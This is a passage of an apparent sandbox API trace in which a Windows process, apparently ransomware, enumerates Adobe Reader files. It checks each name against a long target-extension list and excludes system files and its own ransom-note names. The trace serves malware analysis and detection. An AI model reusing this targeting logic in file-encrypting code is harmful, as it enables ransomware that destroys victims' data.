(lpString1=".crw", lpString2="s.js") returned -1 [0273.337] lstrlenW (lpString=".cs") returned 3 [0273.338] lstrcmpiW (lpString1=".cs", lpString2=".js") returned -1 [0273.338] lstrlenW (lpString=".css") returned 4 [0273.338] lstrcmpiW (lpString1=".css", lpString2="s.js") returned -1 [0273.338] lstrlenW (lpString=".csv") returned 4 [0273.338] lstrcmpiW (lpString1=".csv", lpString2="s.js") returned -1 [0273.338] lstrlenW (lpString=".cub") returned 4 [0273.338] lstrcmpiW (lpString1=".cub", lpString2="s.js") returned -1 [0273.338] lstrlenW (lpString=".dae") returned 4 [0273.338] lstrcmpiW (lpString1=".dae", lpString2="s.js") returned -1 [0273.338] lstrlenW (lpString=".dat") returned 4 [0273.338] lstrcmpiW (lpString1=".dat", lpString2="s.js") returned -1 [0273.338] lstrlenW (lpString=".db") returned 3 [0273.338] lstrcmpiW (lpString1=".db", lpString2=".js") returned -1 [0273.338] lstrlenW (lpString=".dbf") returned 4 [0273.338] lstrcmpiW (lpString1=".dbf", lpString2="s.js") returned -1 [0273.338] lstrlenW (lpString=".dbx") returned 4 [0273.338] lstrcmpiW (lpString1=".dbx", lpString2="s.js") returned -1 [0273.338] lstrlenW (lpString=".dc3") returned 4 [0273.338] lstrcmpiW (lpString1=".dc3", lpString2="s.js") returned -1 [0273.338] lstrlenW (lpString=".dcm") returned 4 [0273.338] lstrcmpiW (lpString1=".dcm", lpString2="s.js") returned -1 [0273.338] lstrlenW (lpString=".dcr") returned 4 [0273.338] lstrcmpiW (lpString1=".dcr", lpString2="s.js") returned -1 [0273.338] lstrlenW (lpString=".der") returned 4 [0273.338] lstrcmpiW (lpString1=".der", lpString2="s.js") returned -1 [0273.338] lstrlenW (lpString=".dib") returned 4 [0273.338] lstrcmpiW (lpString1=".dib", lpString2="s.js") returned -1 [0273.338] lstrlenW (lpString=".dic") returned 4 [0273.338] lstrcmpiW (lpString1=".dic", lpString2="s.js") returned -1 [0273.338] lstrlenW (lpString=".dif") returned 4 [0273.339] lstrcmpiW (lpString1=".dif", lpString2="s.js") returned -1 [0273.339] lstrlenW (lpString=".divx") returned 5 [0273.339] lstrcmpiW (lpString1=".divx", lpString2="gs.js") returned -1 [0273.339] lstrlenW (lpString=".djvu") returned 5 [0273.339] lstrcmpiW (lpString1=".djvu", lpString2="gs.js") returned -1 [0273.339] lstrlenW (lpString=".dng") returned 4 [0273.339] lstrcmpiW (lpString1=".dng", lpString2="s.js") returned -1 [0273.339] lstrlenW (lpString=".doc") returned 4 [0273.339] lstrcmpiW (lpString1=".doc", lpString2="s.js") returned -1 [0273.339] lstrlenW (lpString=".docm") returned 5 [0273.339] lstrcmpiW (lpString1=".docm", lpString2="gs.js") returned -1 [0273.339] lstrlenW (lpString=".docx") returned 5 [0273.339] lstrcmpiW (lpString1=".docx", lpString2="gs.js") returned -1 [0273.339] lstrlenW (lpString=".dot") returned 4 [0273.339] lstrcmpiW (lpString1=".dot", lpString2="s.js") returned -1 [0273.339] lstrlenW (lpString=".dotm") returned 5 [0273.339] lstrcmpiW (lpString1=".dotm", lpString2="gs.js") returned -1 [0273.339] lstrlenW (lpString=".dotx") returned 5 [0273.339] lstrcmpiW (lpString1=".dotx", lpString2="gs.js") returned -1 [0273.339] lstrlenW (lpString=".dpx") returned 4 [0273.339] lstrcmpiW (lpString1=".dpx", lpString2="s.js") returned -1 [0273.339] lstrlenW (lpString=".dqy") returned 4 [0273.339] lstrcmpiW (lpString1=".dqy", lpString2="s.js") returned -1 [0273.339] lstrlenW (lpString=".dsn") returned 4 [0273.339] lstrcmpiW (lpString1=".dsn", lpString2="s.js") returned -1 [0273.339] lstrlenW (lpString=".dt") returned 3 [0273.339] lstrcmpiW (lpString1=".dt", lpString2=".js") returned -1 [0273.339] lstrlenW (lpString=".dtd") returned 4 [0273.339] lstrcmpiW (lpString1=".dtd", lpString2="s.js") returned -1 [0273.339] lstrlenW (lpString=".dwg") returned 4 [0273.339] lstrcmpiW (lpString1=".dwg", lpString2="s.js") returned -1 [0273.340] lstrlenW (lpString=".dwt") returned 4 [0273.340] lstrcmpiW (lpString1=".dwt", lpString2="s.js") returned -1 [0273.340] lstrlenW (lpString=".dx") returned 3 [0273.340] lstrcmpiW (lpString1=".dx", lpString2=".js") returned -1 [0273.340] lstrlenW (lpString=".dxf") returned 4 [0273.340] lstrcmpiW (lpString1=".dxf", lpString2="s.js") returned -1 [0273.340] lstrlenW (lpString=".edml") returned 5 [0273.340] lstrcmpiW (lpString1=".edml", lpString2="gs.js") returned -1 [0273.340] lstrlenW (lpString=".efd") returned 4 [0273.340] lstrcmpiW (lpString1=".efd", lpString2="s.js") returned -1 [0273.340] lstrlenW (lpString=".elf") returned 4 [0273.340] lstrcmpiW (lpString1=".elf", lpString2="s.js") returned -1 [0273.340] lstrlenW (lpString=".emf") returned 4 [0273.340] lstrcmpiW (lpString1=".emf", lpString2="s.js") returned -1 [0273.340] lstrlenW (lpString=".emz") returned 4 [0273.340] lstrcmpiW (lpString1=".emz", lpString2="s.js") returned -1 [0273.340] lstrlenW (lpString=".epf") returned 4 [0273.340] lstrcmpiW (lpString1=".epf", lpString2="s.js") returned -1 [0273.340] lstrlenW (lpString=".eps") returned 4 [0273.340] lstrcmpiW (lpString1=".eps", lpString2="s.js") returned -1 [0273.340] lstrlenW (lpString=".epsf") returned 5 [0273.340] lstrcmpiW (lpString1=".epsf", lpString2="gs.js") returned -1 [0273.340] lstrlenW (lpString=".epsp") returned 5 [0273.340] lstrcmpiW (lpString1=".epsp", lpString2="gs.js") returned -1 [0273.340] lstrlenW (lpString=".erf") returned 4 [0273.340] lstrcmpiW (lpString1=".erf", lpString2="s.js") returned -1 [0273.340] lstrlenW (lpString=".exr") returned 4 [0273.340] lstrcmpiW (lpString1=".exr", lpString2="s.js") returned -1 [0273.340] lstrlenW (lpString=".f4v") returned 4 [0273.340] lstrcmpiW (lpString1=".f4v", lpString2="s.js") returned -1 [0273.341] lstrlenW (lpString=".fido") returned 5 [0273.341] lstrcmpiW (lpString1=".fido", lpString2="gs.js") returned -1 [0273.341] lstrlenW (lpString=".flm") returned 4 [0273.341] lstrcmpiW (lpString1=".flm", lpString2="s.js") returned -1 [0273.341] lstrlenW (lpString=".flv") returned 4 [0273.341] lstrcmpiW (lpString1=".flv", lpString2="s.js") returned -1 [0273.341] lstrlenW (lpString=".frm") returned 4 [0273.341] lstrcmpiW (lpString1=".frm", lpString2="s.js") returned -1 [0273.341] lstrlenW (lpString=".fxg") returned 4 [0273.341] lstrcmpiW (lpString1=".fxg", lpString2="s.js") returned -1 [0273.341] lstrlenW (lpString=".geo") returned 4 [0273.341] lstrcmpiW (lpString1=".geo", lpString2="s.js") returned -1 [0273.341] lstrlenW (lpString=".gif") returned 4 [0273.341] lstrcmpiW (lpString1=".gif", lpString2="s.js") returned -1 [0273.341] lstrlenW (lpString=".grs") returned 4 [0273.341] lstrcmpiW (lpString1=".grs", lpString2="s.js") returned -1 [0273.341] lstrlenW (lpString=".gz") returned 3 [0273.341] lstrcmpiW (lpString1=".gz", lpString2=".js") returned -1 [0273.341] lstrlenW (lpString=".h") returned 2 [0273.341] lstrcmpiW (lpString1=".h", lpString2="js") returned -1 [0273.341] lstrlenW (lpString=".hdr") returned 4 [0273.341] lstrcmpiW (lpString1=".hdr", lpString2="s.js") returned -1 [0273.341] lstrlenW (lpString=".hpp") returned 4 [0273.341] lstrcmpiW (lpString1=".hpp", lpString2="s.js") returned -1 [0273.341] lstrlenW (lpString=".hta") returned 4 [0273.341] lstrcmpiW (lpString1=".hta", lpString2="s.js") returned -1 [0273.341] lstrlenW (lpString=".htc") returned 4 [0273.341] lstrcmpiW (lpString1=".htc", lpString2="s.js") returned -1 [0273.341] lstrlenW (lpString=".htm") returned 4 [0273.341] lstrcmpiW (lpString1=".htm", lpString2="s.js") returned -1 [0273.341] lstrlenW (lpString=".html") returned 5 [0273.341] lstrcmpiW (lpString1=".html", lpString2="gs.js") returned -1 [0273.342] lstrlenW (lpString=".icb") returned 4 [0273.342] lstrcmpiW (lpString1=".icb", lpString2="s.js") returned -1 [0273.342] lstrlenW (lpString=".ics") returned 4 [0273.342] lstrcmpiW (lpString1=".ics", lpString2="s.js") returned -1 [0273.342] lstrlenW (lpString=".iff") returned 4 [0273.342] lstrcmpiW (lpString1=".iff", lpString2="s.js") returned -1 [0273.342] lstrlenW (lpString=".inc") returned 4 [0273.342] lstrcmpiW (lpString1=".inc", lpString2="s.js") returned -1 [0273.342] lstrlenW (lpString=".indd") returned 5 [0273.342] lstrcmpiW (lpString1=".indd", lpString2="gs.js") returned -1 [0273.342] lstrlenW (lpString=".ini") returned 4 [0273.342] lstrcmpiW (lpString1=".ini", lpString2="s.js") returned -1 [0273.342] lstrlenW (lpString=".iqy") returned 4 [0273.342] lstrcmpiW (lpString1=".iqy", lpString2="s.js") returned -1 [0273.342] lstrlenW (lpString=".j2c") returned 4 [0273.342] lstrcmpiW (lpString1=".j2c", lpString2="s.js") returned -1 [0273.342] lstrlenW (lpString=".j2k") returned 4 [0273.342] lstrcmpiW (lpString1=".j2k", lpString2="s.js") returned -1 [0273.342] lstrlenW (lpString=".java") returned 5 [0273.342] lstrcmpiW (lpString1=".java", lpString2="gs.js") returned -1 [0273.342] lstrlenW (lpString=".jp2") returned 4 [0273.342] lstrcmpiW (lpString1=".jp2", lpString2="s.js") returned -1 [0273.342] lstrlenW (lpString=".jpc") returned 4 [0273.342] lstrcmpiW (lpString1=".jpc", lpString2="s.js") returned -1 [0273.342] lstrlenW (lpString=".jpe") returned 4 [0273.342] lstrcmpiW (lpString1=".jpe", lpString2="s.js") returned -1 [0273.342] lstrlenW (lpString=".jpeg") returned 5 [0273.342] lstrcmpiW (lpString1=".jpeg", lpString2="gs.js") returned -1 [0273.342] lstrlenW (lpString=".jpf") returned 4 [0273.343] lstrcmpiW (lpString1=".jpf", lpString2="s.js") returned -1 [0273.343] lstrlenW (lpString=".jpg") returned 4 [0273.343] lstrcmpiW (lpString1=".jpg", lpString2="s.js") returned -1 [0273.343] lstrlenW (lpString=".jpx") returned 4 [0273.343] lstrcmpiW (lpString1=".jpx", lpString2="s.js") returned -1 [0273.343] lstrlenW (lpString=".js") returned 3 [0273.343] lstrcmpiW (lpString1=".js", lpString2=".js") returned 0 [0273.343] lstrlenW (lpString="ui-strings.js") returned 13 [0273.343] lstrlenW (lpString=".love$") returned 6 [0273.343] lstrcmpiW (lpString1=".love$", lpString2="ngs.js") returned -1 [0273.343] lstrlenW (lpString="ui-strings.js") returned 13 [0273.343] lstrcmpiW (lpString1="boot.ini", lpString2="ui-strings.js") returned -1 [0273.343] lstrcmpiW (lpString1="bootfont.bin", lpString2="ui-strings.js") returned -1 [0273.343] lstrcmpiW (lpString1="ntldr", lpString2="ui-strings.js") returned -1 [0273.343] lstrcmpiW (lpString1="ntdetect.com", lpString2="ui-strings.js") returned -1 [0273.343] lstrcmpiW (lpString1="io.sys", lpString2="ui-strings.js") returned -1 [0273.343] lstrcmpiW (lpString1="FILES ENCRYPTED.txt", lpString2="ui-strings.js") returned -1 [0273.343] lstrcmpiW (lpString1="Info.hta", lpString2="ui-strings.js") returned -1 [0273.343] lstrcmpiW (lpString1="finbbp.exe", lpString2="ui-strings.js") returned -1 [0273.343] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\pt-br\\ui-strings.js") returned 133 [0273.343] FindNextFileW (in: hFindFile=0x3315730, lpFindFileData=0x2e8dcac | out: lpFindFileData=0x2e8dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeea28dac, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea28dac, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea28dac, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x716, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0273.343] FindClose (in: hFindFile=0x3315730 | out: hFindFile=0x3315730) returned 1 [0273.344] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4245db8 | out: hHeap=0x670000) returned 1 [0273.344] FindNextFileW (in: hFindFile=0x33159b0, lpFindFileData=0x2e8df28 | out: lpFindFileData=0x2e8df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea28dac, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea28dac, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea28dac, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ro-ro", cAlternateFileName="")) returned 1 [0273.344] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\ro-ro") returned 119 [0273.344] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\ro-ro") returned 1 [0273.344] lstrlenW (lpString="ro-ro") returned 5 [0273.344] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="ro-ro") returned -1 [0273.344] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x4245db8 [0273.344] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\ro-ro") returned 119 [0273.344] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\ro-ro\\*", lpFindFileData=0x2e8dcac | out: lpFindFileData=0x2e8dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea28dac, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea28dac, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea28dac, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x3315ab0 [0273.344] FindNextFileW (in: hFindFile=0x3315ab0, lpFindFileData=0x2e8dcac | out: lpFindFileData=0x2e8dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea28dac, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea28dac, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea28dac, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0273.344] FindNextFileW (in: hFindFile=0x3315ab0, lpFindFileData=0x2e8dcac | out: lpFindFileData=0x2e8dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeea28dac, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea28dac, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea28dac, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x764, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0273.344] lstrlenW (lpString="ui-strings.js") returned 13 [0273.345] lstrlenW (lpString=".1cd") returned 4 [0273.345] lstrcmpiW (lpString1=".1cd", lpString2="s.js") returned -1 [0273.345] lstrlenW (lpString=".3ds") returned 4 [0273.345] lstrcmpiW (lpString1=".3ds", lpString2="s.js") returned -1 [0273.345] lstrlenW (lpString=".3fr") returned 4 [0273.345] lstrcmpiW (lpString1=".3fr", lpString2="s.js") returned -1 [0273.345] lstrlenW (lpString=".3g2") returned 4 [0273.345] lstrcmpiW (lpString1=".3g2", lpString2="s.js") returned -1 [0273.345] lstrlenW (lpString=".3gp") returned 4 [0273.345] lstrcmpiW (lpString1=".3gp", lpString2="s.js") returned -1 [0273.345] lstrlenW (lpString=".7z") returned 3 [0273.345] lstrcmpiW (lpString1=".7z", lpString2=".js") returned -1 [0273.345] lstrlenW (lpString=".accda") returned 6 [0273.345] lstrcmpiW (lpString1=".accda", lpString2="ngs.js") returned -1 [0273.345] lstrlenW (lpString=".accdb") returned 6 [0273.345] lstrcmpiW (lpString1=".accdb", lpString2="ngs.js") returned -1 [0273.345] lstrlenW (lpString=".accdc") returned 6 [0273.345] lstrcmpiW (lpString1=".accdc", lpString2="ngs.js") returned -1 [0273.345] lstrlenW (lpString=".accde") returned 6 [0273.345] lstrcmpiW (lpString1=".accde", lpString2="ngs.js") returned -1 [0273.345] lstrlenW (lpString=".accdt") returned 6 [0273.345] lstrcmpiW (lpString1=".accdt", lpString2="ngs.js") returned -1 [0273.345] lstrlenW (lpString=".accdw") returned 6 [0273.345] lstrcmpiW (lpString1=".accdw", lpString2="ngs.js") returned -1 [0273.345] lstrlenW (lpString=".adb") returned 4 [0273.345] lstrcmpiW (lpString1=".adb", lpString2="s.js") returned -1 [0273.345] lstrlenW (lpString=".adp") returned 4 [0273.345] lstrcmpiW (lpString1=".adp", lpString2="s.js") returned -1 [0273.345] lstrlenW (lpString=".ai") returned 3 [0273.345] lstrcmpiW (lpString1=".ai", lpString2=".js") returned -1 [0273.345] lstrlenW (lpString=".ai3") returned 4 [0273.346] lstrcmpiW (lpString1=".ai3", lpString2="s.js") returned -1 [0273.346] lstrlenW (lpString=".ai4") returned 4 [0273.346] lstrcmpiW (lpString1=".ai4", lpString2="s.js") returned -1 [0273.346] lstrlenW (lpString=".ai5") returned 4 [0273.346] lstrcmpiW (lpString1=".ai5", lpString2="s.js") returned -1 [0273.346] lstrlenW (lpString=".ai6") returned 4 [0273.346] lstrcmpiW (lpString1=".ai6", lpString2="s.js") returned -1 [0273.346] lstrlenW (lpString=".ai7") returned 4 [0273.346] lstrcmpiW (lpString1=".ai7", lpString2="s.js") returned -1 [0273.346] lstrlenW (lpString=".ai8") returned 4 [0273.346] lstrcmpiW (lpString1=".ai8", lpString2="s.js") returned -1 [0273.346] lstrlenW (lpString=".anim") returned 5 [0273.346] lstrcmpiW (lpString1=".anim", lpString2="gs.js") returned -1 [0273.346] lstrlenW (lpString=".arw") returned 4 [0273.346] lstrcmpiW (lpString1=".arw", lpString2="s.js") returned -1 [0273.346] lstrlenW (lpString=".as") returned 3 [0273.346] lstrcmpiW (lpString1=".as", lpString2=".js") returned -1 [0273.346] lstrlenW (lpString=".asa") returned 4 [0273.346] lstrcmpiW (lpString1=".asa", lpString2="s.js") returned -1 [0273.346] lstrlenW (lpString=".asc") returned 4 [0273.346] lstrcmpiW (lpString1=".asc", lpString2="s.js") returned -1 [0273.346] lstrlenW (lpString=".ascx") returned 5 [0273.346] lstrcmpiW (lpString1=".ascx", lpString2="gs.js") returned -1 [0273.346] lstrlenW (lpString=".asm") returned 4 [0273.346] lstrcmpiW (lpString1=".asm", lpString2="s.js") returned -1 [0273.346] lstrlenW (lpString=".asmx") returned 5 [0273.346] lstrcmpiW (lpString1=".asmx", lpString2="gs.js") returned -1 [0273.346] lstrlenW (lpString=".asp") returned 4 [0273.346] lstrcmpiW (lpString1=".asp", lpString2="s.js") returned -1 [0273.347] lstrlenW (lpString=".aspx") returned 5 [0273.347] lstrcmpiW (lpString1=".aspx", lpString2="gs.js") returned -1 [0273.347] lstrlenW (lpString=".asr") returned 4 [0273.347] lstrcmpiW (lpString1=".asr", lpString2="s.js") returned -1 [0273.347] lstrlenW (lpString=".asx") returned 4 [0273.347] lstrcmpiW (lpString1=".asx", lpString2="s.js") returned -1 [0273.347] lstrlenW (lpString=".avi") returned 4 [0273.347] lstrcmpiW (lpString1=".avi", lpString2="s.js") returned -1 [0273.347] lstrlenW (lpString=".avs") returned 4 [0273.347] lstrcmpiW (lpString1=".avs", lpString2="s.js") returned -1 [0273.347] lstrlenW (lpString=".backup") returned 7 [0273.347] lstrcmpiW (lpString1=".backup", lpString2="ings.js") returned -1 [0273.347] lstrlenW (lpString=".bak") returned 4 [0273.347] lstrcmpiW (lpString1=".bak", lpString2="s.js") returned -1 [0273.347] lstrlenW (lpString=".bay") returned 4 [0273.347] lstrcmpiW (lpString1=".bay", lpString2="s.js") returned -1 [0273.347] lstrlenW (lpString=".bd") returned 3 [0273.347] lstrcmpiW (lpString1=".bd", lpString2=".js") returned -1 [0273.347] lstrlenW (lpString=".bin") returned 4 [0273.347] lstrcmpiW (lpString1=".bin", lpString2="s.js") returned -1 [0273.347] lstrlenW (lpString=".bmp") returned 4 [0273.347] lstrcmpiW (lpString1=".bmp", lpString2="s.js") returned -1 [0273.347] lstrlenW (lpString=".bz2") returned 4 [0273.347] lstrcmpiW (lpString1=".bz2", lpString2="s.js") returned -1 [0273.347] lstrlenW (lpString=".c") returned 2 [0273.347] lstrcmpiW (lpString1=".c", lpString2="js") returned -1 [0273.347] lstrlenW (lpString=".cdr") returned 4 [0273.347] lstrcmpiW (lpString1=".cdr", lpString2="s.js") returned -1 [0273.347] lstrlenW (lpString=".cer") returned 4 [0273.347] lstrcmpiW (lpString1=".cer", lpString2="s.js") returned -1 [0273.347] lstrlenW (lpString=".cf") returned 3 [0273.348] lstrcmpiW (lpString1=".cf", lpString2=".js") returned -1 [0273.348] lstrlenW (lpString=".cfc") returned 4 [0273.348] lstrcmpiW (lpString1=".cfc", lpString2="s.js") returned -1 [0273.348] lstrlenW (lpString=".cfm") returned 4 [0273.348] lstrcmpiW (lpString1=".cfm", lpString2="s.js") returned -1 [0273.348] lstrlenW (lpString=".cfml") returned 5 [0273.348] lstrcmpiW (lpString1=".cfml", lpString2="gs.js") returned -1 [0273.348] lstrlenW (lpString=".cfu") returned 4 [0273.348] lstrcmpiW (lpString1=".cfu", lpString2="s.js") returned -1 [0273.348] lstrlenW (lpString=".chm") returned 4 [0273.348] lstrcmpiW (lpString1=".chm", lpString2="s.js") returned -1 [0273.348] lstrlenW (lpString=".cin") returned 4 [0273.348] lstrcmpiW (lpString1=".cin", lpString2="s.js") returned -1 [0273.348] lstrlenW (lpString=".class") returned 6 [0273.348] lstrcmpiW (lpString1=".class", lpString2="ngs.js") returned -1 [0273.348] lstrlenW (lpString=".clx") returned 4 [0273.348] lstrcmpiW (lpString1=".clx", lpString2="s.js") returned -1 [0273.348] lstrlenW (lpString=".config") returned 7 [0273.348] lstrcmpiW (lpString1=".config", lpString2="ings.js") returned -1 [0273.348] lstrlenW (lpString=".cpp") returned 4 [0273.348] lstrcmpiW (lpString1=".cpp", lpString2="s.js") returned -1 [0273.348] lstrlenW (lpString=".cr2") returned 4 [0273.348] lstrcmpiW (lpString1=".cr2", lpString2="s.js") returned -1 [0273.348] lstrlenW (lpString=".crt") returned 4 [0273.348] lstrcmpiW (lpString1=".crt", lpString2="s.js") returned -1 [0273.348] lstrlenW (lpString=".crw") returned 4 [0273.348] lstrcmpiW (lpString1=".crw", lpString2="s.js") returned -1 [0273.348] lstrlenW (lpString=".cs") returned 3 [0273.348] lstrcmpiW (lpString1=".cs", lpString2=".js") returned -1 [0273.348] lstrlenW (lpString=".css") returned 4 [0273.348] lstrcmpiW (lpString1=".css", lpString2="s.js") returned -1 [0273.349] lstrlenW (lpString=".csv") returned 4 [0273.349] lstrcmpiW (lpString1=".csv", lpString2="s.js") returned -1 [0273.349] lstrlenW (lpString=".cub") returned 4 [0273.349] lstrcmpiW (lpString1=".cub", lpString2="s.js") returned -1 [0273.349] lstrlenW (lpString=".dae") returned 4 [0273.349] lstrcmpiW (lpString1=".dae", lpString2="s.js") returned -1 [0273.349] lstrlenW (lpString=".dat") returned 4 [0273.349] lstrcmpiW (lpString1=".dat", lpString2="s.js") returned -1 [0273.349] lstrlenW (lpString=".db") returned 3 [0273.349] lstrcmpiW (lpString1=".db", lpString2=".js") returned -1 [0273.349] lstrlenW (lpString=".dbf") returned 4 [0273.349] lstrcmpiW (lpString1=".dbf", lpString2="s.js") returned -1 [0273.349] lstrlenW (lpString=".dbx") returned 4 [0273.349] lstrcmpiW (lpString1=".dbx", lpString2="s.js") returned -1 [0273.349] lstrlenW (lpString=".dc3") returned 4 [0273.349] lstrcmpiW (lpString1=".dc3", lpString2="s.js") returned -1 [0273.349] lstrlenW (lpString=".dcm") returned 4 [0273.349] lstrcmpiW (lpString1=".dcm", lpString2="s.js") returned -1 [0273.349] lstrlenW (lpString=".dcr") returned 4 [0273.349] lstrcmpiW (lpString1=".dcr", lpString2="s.js") returned -1 [0273.349] lstrlenW (lpString=".der") returned 4 [0273.349] lstrcmpiW (lpString1=".der", lpString2="s.js") returned -1 [0273.349] lstrlenW (lpString=".dib") returned 4 [0273.349] lstrcmpiW (lpString1=".dib", lpString2="s.js") returned -1 [0273.349] lstrlenW (lpString=".dic") returned 4 [0273.349] lstrcmpiW (lpString1=".dic", lpString2="s.js") returned -1 [0273.349] lstrlenW (lpString=".dif") returned 4 [0273.349] lstrcmpiW (lpString1=".dif", lpString2="s.js") returned -1 [0273.349] lstrlenW (lpString=".divx") returned 5 [0273.349] lstrcmpiW (lpString1=".divx", lpString2="gs.js") returned -1 [0273.349] lstrlenW (lpString=".djvu") returned 5 [0273.349] lstrcmpiW (lpString1=".djvu", lpString2="gs.js") returned -1 [0273.350] lstrlenW (lpString=".dng") returned 4 [0273.350] lstrcmpiW (lpString1=".dng", lpString2="s.js") returned -1 [0273.350] lstrlenW (lpString=".doc") returned 4 [0273.350] lstrcmpiW (lpString1=".doc", lpString2="s.js") returned -1 [0273.350] lstrlenW (lpString=".docm") returned 5 [0273.350] lstrcmpiW (lpString1=".docm", lpString2="gs.js") returned -1 [0273.350] lstrlenW (lpString=".docx") returned 5 [0273.350] lstrcmpiW (lpString1=".docx", lpString2="gs.js") returned -1 [0273.350] lstrlenW (lpString=".dot") returned 4 [0273.350] lstrcmpiW (lpString1=".dot", lpString2="s.js") returned -1 [0273.350] lstrlenW (lpString=".dotm") returned 5 [0273.350] lstrcmpiW (lpString1=".dotm", lpString2="gs.js") returned -1 [0273.350] lstrlenW (lpString=".dotx") returned 5 [0273.350] lstrcmpiW (lpString1=".dotx", lpString2="gs.js") returned -1 [0273.350] lstrlenW (lpString=".dpx") returned 4 [0273.350] lstrcmpiW (lpString1=".dpx", lpString2="s.js") returned -1 [0273.350] lstrlenW (lpString=".dqy") returned 4 [0273.350] lstrcmpiW (lpString1=".dqy", lpString2="s.js") returned -1 [0273.350] lstrlenW (lpString=".dsn") returned 4 [0273.350] lstrcmpiW (lpString1=".dsn", lpString2="s.js") returned -1 [0273.350] lstrlenW (lpString=".dt") returned 3 [0273.350] lstrcmpiW (lpString1=".dt", lpString2=".js") returned -1 [0273.350] lstrlenW (lpString=".dtd") returned 4 [0273.350] lstrcmpiW (lpString1=".dtd", lpString2="s.js") returned -1 [0273.350] lstrlenW (lpString=".dwg") returned 4 [0273.350] lstrcmpiW (lpString1=".dwg", lpString2="s.js") returned -1 [0273.350] lstrlenW (lpString=".dwt") returned 4 [0273.350] lstrcmpiW (lpString1=".dwt", lpString2="s.js") returned -1 [0273.350] lstrlenW (lpString=".dx") returned 3 [0273.350] lstrcmpiW (lpString1=".dx", lpString2=".js") returned -1 [0273.350] lstrlenW (lpString=".dxf") returned 4 [0273.351] lstrcmpiW (lpString1=".dxf", lpString2="s.js") returned -1 [0273.351] lstrlenW (lpString=".edml") returned 5 [0273.351] lstrcmpiW (lpString1=".edml", lpString2="gs.js") returned -1 [0273.351] lstrlenW (lpString=".efd") returned 4 [0273.351] lstrcmpiW (lpString1=".efd", lpString2="s.js") returned -1 [0273.351] lstrlenW (lpString=".elf") returned 4 [0273.351] lstrcmpiW (lpString1=".elf", lpString2="s.js") returned -1 [0273.351] lstrlenW (lpString=".emf") returned 4 [0273.351] lstrcmpiW (lpString1=".emf", lpString2="s.js") returned -1 [0273.351] lstrlenW (lpString=".emz") returned 4 [0273.351] lstrcmpiW (lpString1=".emz", lpString2="s.js") returned -1 [0273.351] lstrlenW (lpString=".epf") returned 4 [0273.351] lstrcmpiW (lpString1=".epf", lpString2="s.js") returned -1 [0273.351] lstrlenW (lpString=".eps") returned 4 [0273.351] lstrcmpiW (lpString1=".eps", lpString2="s.js") returned -1 [0273.351] FindNextFileW (in: hFindFile=0x3315ab0, lpFindFileData=0x2e8dcac | out: lpFindFileData=0x2e8dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeea28dac, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea28dac, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea28dac, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x764, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0273.351] FindClose (in: hFindFile=0x3315ab0 | out: hFindFile=0x3315ab0) returned 1 [0273.351] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4245db8 | out: 